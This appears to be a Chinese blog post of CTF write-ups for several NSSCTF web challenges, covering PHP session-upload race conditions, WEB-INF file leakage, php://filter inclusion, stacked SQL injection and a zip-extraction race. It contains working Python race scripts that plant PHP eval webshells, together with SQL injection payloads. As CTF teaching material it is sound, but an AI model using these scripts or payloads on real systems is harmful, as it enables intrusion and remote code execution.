当前位置:   article > 正文

NSSCTF题解

nssctf

[第五空间 2021]EasyCleanup

1.看到题目代码

  1. <?php
  2. if(!isset($_GET['mode'])){
  3. highlight_file(__file__);
  4. }else if($_GET['mode'] == "eval"){
  5. $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
  6. if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
  7. eval($shell);
  8. }
  9. if(isset($_GET['file'])){
  10. if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
  11. include $_GET['file'];
  12. }
  13. function filter($var){
  14. $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
  15. foreach($banned as $ban){
  16. if(strstr($var, $ban)) return True;
  17. }
  18. return False;
  19. }
  20. function checkNums($var){
  21. $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  22. $cnt = 0;
  23. for($i = 0; $i < strlen($alphanum); $i++){
  24. for($j = 0; $j < strlen($var); $j++){
  25. if($var[$j] == $alphanum[$i]){
  26. $cnt += 1;
  27. if($cnt > 8) return True;
  28. }
  29. }
  30. }
  31. return False;
  32. }
  33. ?>

 分析得出,可以通过file进行文件包含构成rce,但是限制了许多字符,绕过有些困难。再次分析,通过构造url得出phpinfo()界面

http://114.115.134.72:32770/?mode=eval

http://114.115.134.72:32770/?mode=eval

http://114.115.134.72:32770/?mode=eval

2.来到phpinfo界面

根据题目cleanup猜想可能是session_upload,查看phpinfo信息

看到session.upload_progress.enabled开启,说明开启session.upload_progress功能,这个功能在我们上传文件时可以把文件上传进度和信息存储在session中。

又看到session.upload_progress.cleanup开启,说明当文件上传结束后,php将会立即清空对应session文件中的内容。所以需要条件竞争。

看到session.save_path,可以看到session文件保存路径。

看到session.use_strict_mode关闭,说明用户可以自己定义自己的sessionid。假如说sessionid=zzzz,则文件上传后会在/tmp目录下生成一个sess_zzzz的文件。

想利用session文件包含getshell,但是上传 文件后文件内容会被清空。怎么办?

于是想到了pyhton的多线程,利用多线程创建竞争条件,在还没删除时进行文件包含getshell。

直接脚本:

  1. import io
  2. import requests
  3. import threading
  4. from cffi.backend_ctypes import xrange
  5. sessid = '0'
  6. target = 'http://1.14.71.254:28513/'
  7. file = 'ph0ebus.txt'
  8. f = io.BytesIO(b'a' * 1024 * 50)
  9. def write(session):
  10. while True:
  11. session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
  12. files={'file': (file, f)}, cookies={'PHPSESSID': sessid})
  13. def read(session):
  14. while True:
  15. resp = session.post(
  16. f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
  17. if file in resp.text:
  18. print(resp.text)
  19. event.clear()
  20. else:
  21. print("[+]retry")
  22. # print(resp.text)
  23. if __name__ == "__main__":
  24. event = threading.Event()
  25. with requests.session() as session:
  26. for i in xrange(1, 30):
  27. threading.Thread(target=write, args=(session,)).start()
  28. for i in xrange(1, 30):
  29. threading.Thread(target=read, args=(session,)).start()
  30. event.set()

 NSSCTF{cb37fcd3-1cff-4965-b455-4ec5cdb329c5}

[鹏城杯 2022]简单的php

查看源代码

  1. <?php
  2. show_source(__FILE__);
  3. $code = $_GET['code'];
  4. if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
  5. die(' Hello');
  6. }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
  7. @eval($code);
  8. }
  9. ?>

发现想要执行rce必须绕过正则表达式

也就是无字母数字命令执行和无参构造rce

NSSCTF{bfb142cd-1d50-4c37-b63c-051f546a235b} 

[RoarCTF 2019]Easy Java

 进来后看到登录框,第一时间想到弱口令

admin和admin888进去了

 但是进去以后什么也没有

重新试试,点击help

 出现这个页面,于是想到了文件下载,修改url

payload:filename=help.docx

访问失败,修改提交方式为post,下载成功

打开后

 发现啥也没有

于是上网搜了下WEB-INF/web.xml泄露

了解到WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

尝试下,构造payload(post提交):filename=/WEB-INF/web.xml

成功下载文件

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. -<web-app version="4.0" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee">
  3. -<welcome-file-list>
  4. <welcome-file>Index</welcome-file>
  5. </welcome-file-list>
  6. -<servlet>
  7. <servlet-name>IndexController</servlet-name>
  8. <servlet-class>com.wm.ctf.IndexController</servlet-class>
  9. </servlet>
  10. -<servlet-mapping>
  11. <servlet-name>IndexController</servlet-name>
  12. <url-pattern>/Index</url-pattern>
  13. </servlet-mapping>
  14. -<servlet>
  15. <servlet-name>LoginController</servlet-name>
  16. <servlet-class>com.wm.ctf.LoginController</servlet-class>
  17. </servlet>
  18. -<servlet-mapping>
  19. <servlet-name>LoginController</servlet-name>
  20. <url-pattern>/Login</url-pattern>
  21. </servlet-mapping>
  22. -<servlet>
  23. <servlet-name>DownloadController</servlet-name>
  24. <servlet-class>com.wm.ctf.DownloadController</servlet-class>
  25. </servlet>
  26. -<servlet-mapping>
  27. <servlet-name>DownloadController</servlet-name>
  28. <url-pattern>/Download</url-pattern>
  29. </servlet-mapping>
  30. -<servlet>
  31. <servlet-name>FlagController</servlet-name>
  32. <servlet-class>com.wm.ctf.FlagController</servlet-class>
  33. </servlet>
  34. -<servlet-mapping>
  35. <servlet-name>FlagController</servlet-name>
  36. <url-pattern>/Flag</url-pattern>
  37. </servlet-mapping>
  38. </web-app>

可以看到

<servlet-name>FlagController</servlet-name>

<url-pattern>/Flag</url-pattern>

说明这是一个Java Servlet服务端程序,后缀应为.class

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

构造payload:filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

成功下载文件

 将文件进行反编译,得出一个base64编码的flag

 进行base64解码后得到flag

flag{e3f6f5e5-37f2-4a28-ac68-a8ce4522412e}

[NPUCTF2020]ezinclude

拿到题目查看源码

  1. username/password error<html>
  2. <!--md5($secret.$name)===$pass -->
  3. </html>

看到提示

输入url

/?name=1

用burpsuite抓包 发现

 响应中的hash值随着name参数的变化而变化,但又不完全是md5加密的值,这里看提示后,直接构造payload

name=&pass=fa25e54758d5d5c1927781a6ede89f8a

得到响应

  1. HTTP/1.1 200 OK
  2. Server: openresty
  3. Date: Fri, 17 Mar 2023 02:12:09 GMT
  4. Content-Type: text/html; charset=UTF-8
  5. Content-Length: 165
  6. Connection: close
  7. Vary: Accept-Encoding
  8. X-Powered-By: PHP/7.0.33
  9. <script language="javascript" type="text/javascript">
  10. window.location.href="flflflflag.php";
  11. </script>
  12. <html>
  13. <!--md5($secret.$name)===$pass -->
  14. </html>

载入flflflflag.php目录

 发现找不到,用burp抓包后

  1. HTTP/1.1 200 OK
  2. Server: openresty
  3. Date: Fri, 17 Mar 2023 05:44:34 GMT
  4. Content-Type: text/html; charset=UTF-8
  5. Content-Length: 241
  6. Connection: close
  7. Vary: Accept-Encoding
  8. X-Powered-By: PHP/7.0.33
  9. <html>
  10. <head>
  11. <script language="javascript" type="text/javascript">
  12. window.location.href="404.html";
  13. </script>
  14. <title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
  15. </head>
  16. <>
  17. <body>
  18. include($_GET["file"])</body>
  19. </html>

发现include 猜测是伪协议文件包含

构造payload

file=php://filter/read=convert.base64-encode/resource=flflflflag.php

得到响应

  1. <body>
  2. PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=include($_GET["file"])</body>
  3. </html>

base64解码后,得到:

  1. <html>
  2. <head>
  3. <script language="javascript" type="text/javascript">
  4. window.location.href="404.html";
  5. </script>
  6. <title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
  7. </head>
  8. <>
  9. <body>
  10. <?php
  11. $file=$_GET['file'];
  12. if(preg_match('/data|input|zip/is',$file)){
  13. die('nonono');
  14. }
  15. @include($file);
  16. echo 'include($_GET["file"])';
  17. ?>
  18. </body>
  19. </html>

直接目录扫描:

  1. python dirsearch.py -u http://0893bf8a-b2ee-40c3-9931-11f870f2da53.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/dict_mode_dict.txt

扫出来一个dir.php文件

可以查看源码,输入url

/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php

base64解码后得到:

  1. <?php
  2. var_dump(scandir('/tmp'));
  3. ?>

dir.php能打印临时文件夹里的内容,因此我们要想办法把文件存到tmp文件夹中

利用 session.upload_progress 进行 session 文件包含

编写脚本

  1. import io
  2. import sys
  3. import requests
  4. import threading
  5. host = 'http://0893bf8a-b2ee-40c3-9931-11f870f2da53.node4.buuoj.cn:81/flflflflag.php'
  6. sessid = 'zzzz'
  7. def POST(session):
  8. while True:
  9. f = io.BytesIO(b'a' * 1024 * 50)
  10. session.post(
  11. host,
  12. data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
  13. files={"file":('a.txt', f)},
  14. cookies={'PHPSESSID':sessid}
  15. )
  16. def READ(session):
  17. while True:
  18. response = session.get(f'{host}?file=/tmp/sess_{sessid}')
  19. if 'flag{' not in response.text:
  20. print('[+++]retry')
  21. else:
  22. print(response.text)
  23. sys.exit(0)
  24. with requests.session() as session:
  25. t1 = threading.Thread(target=POST, args=(session, ))
  26. t1.daemon = True
  27. t1.start()
  28. READ(session)

跑出结果

 flag{fbf56767-b195-43d8-b38c-d5a958d672c6}

[强网杯 2019]随便注

 正常注入

发现过滤 行不通

看题目的源代码

  1. <html>
  2. <head>
  3. <meta charset="UTF-8">
  4. <title>easy_sql</title>
  5. </head>
  6. <body>
  7. <h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
  8. <!-- sqlmap是没有灵魂的 -->
  9. <form method="get">
  10. 姿势: <input type="text" name="inject" value="1">
  11. <input type="submit">
  12. </form>
  13. <pre>
  14. array(2) {
  15. [0]=>
  16. string(1) "1"
  17. [1]=>
  18. string(7) "hahahah"
  19. }
  20. <br></pre>
  21. </body>
  22. </html>

分析源代码:

1,使用了multi_query()函数,可以执行多条sql语句。

2,查询语句为 $sql=select *from `words` where id=$id

3,通过store_result()获取第一条sql语句查询结果,通过var_dump()输出,然后通过more_results()判断是否有更多的结果集,用next_result()方法获取下一个结果集继续输出。

由于select被禁了,可以使用handler代替select。

payload:

1';handler  `1919810931114514` open as a;handler a read first;handler a close;#

payload就是使用handler打开1919810931114514表的句柄,然后读取句柄的第一行即flag的值,然后关闭 

 直接出结果

NSSCTF{ac89f14b-0958-4f1c-b4b3-8775ca4ae0ed}

做完后上网查了下wp 发现还有其他两种解法 值得学习

解法二:通过源代码可以知道图中查询语句是$sql=select *from `words` where id=$id;从名为words的表中查询id=$id的值并返回。

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

payload意思就是将原本words的名称改掉,然后把表1919810931114514改成words,并且把表1919810931114514的字段flag改成id,这样查询就变成了 select *from `1919810931114514` where flag=$id。就可以查询出flag

解法三:

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare flag from @sql;EXECUTE flag;#

    PREPARE - 准备执行的声明。
    EXECUTE - 执行由PREPARE语句定义的语句。
    DEALLOCATE PREPARE - 发布PREPARE语句。

设置一个声明查询语句select *from 表19,使用CONCAT连接select绕过select,然后EXECUTE执行声明返回结果


 

[鹏城杯 2022]压缩包

查看题目代码

  1. <?php
  2. highlight_file(__FILE__);
  3. function removedir($dir){
  4. $list= scandir($dir);
  5. foreach ($list as $value) {
  6. if(is_file($dir.'/'.$value)){
  7. unlink($dir.'/'.$value);
  8. }else if($value!="."&&$value!=".."){
  9. removedir($dir.'/'.$value);
  10. }
  11. }
  12. }
  13. function unzip($filename){
  14. $result = [];
  15. $zip = new ZipArchive();
  16. $zip->open($filename);
  17. $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
  18. if(!is_dir($dir)){
  19. mkdir($dir);
  20. }
  21. if($zip->extractTo($dir)){
  22. foreach (scandir($dir) as $value) {
  23. $file_ext=strrchr($value, '.');
  24. $file_ext=strtolower($file_ext); //转换为小写
  25. $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  26. $file_ext=trim($file_ext); //收尾去空
  27. if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
  28. removedir($dir);
  29. }
  30. if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
  31. if(is_file($dir."/".$value)){
  32. unlink($dir."/".$value);
  33. }else{
  34. if($value!="."&&$value!="..")
  35. array_push($result,$value);
  36. }
  37. }
  38. }
  39. $zip->close();
  40. unlink($filename);
  41. return json_encode($result);
  42. }else{
  43. return false;
  44. }
  45. }
  46. $content= $_REQUEST['content'];
  47. shell_exec('rm -rf /tmp/*');
  48. $fpath ="/tmp/".md5($content);
  49. file_put_contents($fpath, base64_decode($content));
  50. echo unzip($fpath);
  51. ?>
  52. [] [][]

首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到$_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争

将该文件压缩为1.zip

  1. <?php
  2. echo '11111';
  3. file_put_contents('/var/www/html/x.php','<?php eval($_POST[cmd]);?>');
  4. ?>

直接脚本 

  1. import requests
  2. import hashlib
  3. import threading
  4. import base64
  5. url = "http://1.14.71.254:28116/"
  6. sess=requests.session()
  7. r = open("1.zip", "rb").read()
  8. content = base64.b64encode(r)
  9. data={
  10. 'content': content
  11. }
  12. m=hashlib.md5(content)
  13. md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
  14. def write(session):
  15. while True:
  16. resp=session.post(url,data=data)
  17. def read(session):
  18. while True:
  19. resp=session.get(url+f'static/upload/{md}/1.php')
  20. if resp.status_code==200:
  21. print("success")
  22. if __name__=="__main__":
  23. event = threading.Event()
  24. with requests.session() as session:
  25. for i in range(1, 30):
  26. threading.Thread(target=write, args=(session,)).start()
  27. for i in range(1, 30):
  28. threading.Thread(target=read, args=(session,)).start()
  29. event.set()

蚁剑连接x.php 密码是cmd 根目录得到flag
 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/701499
推荐阅读
相关标签
  

闽ICP备14008679号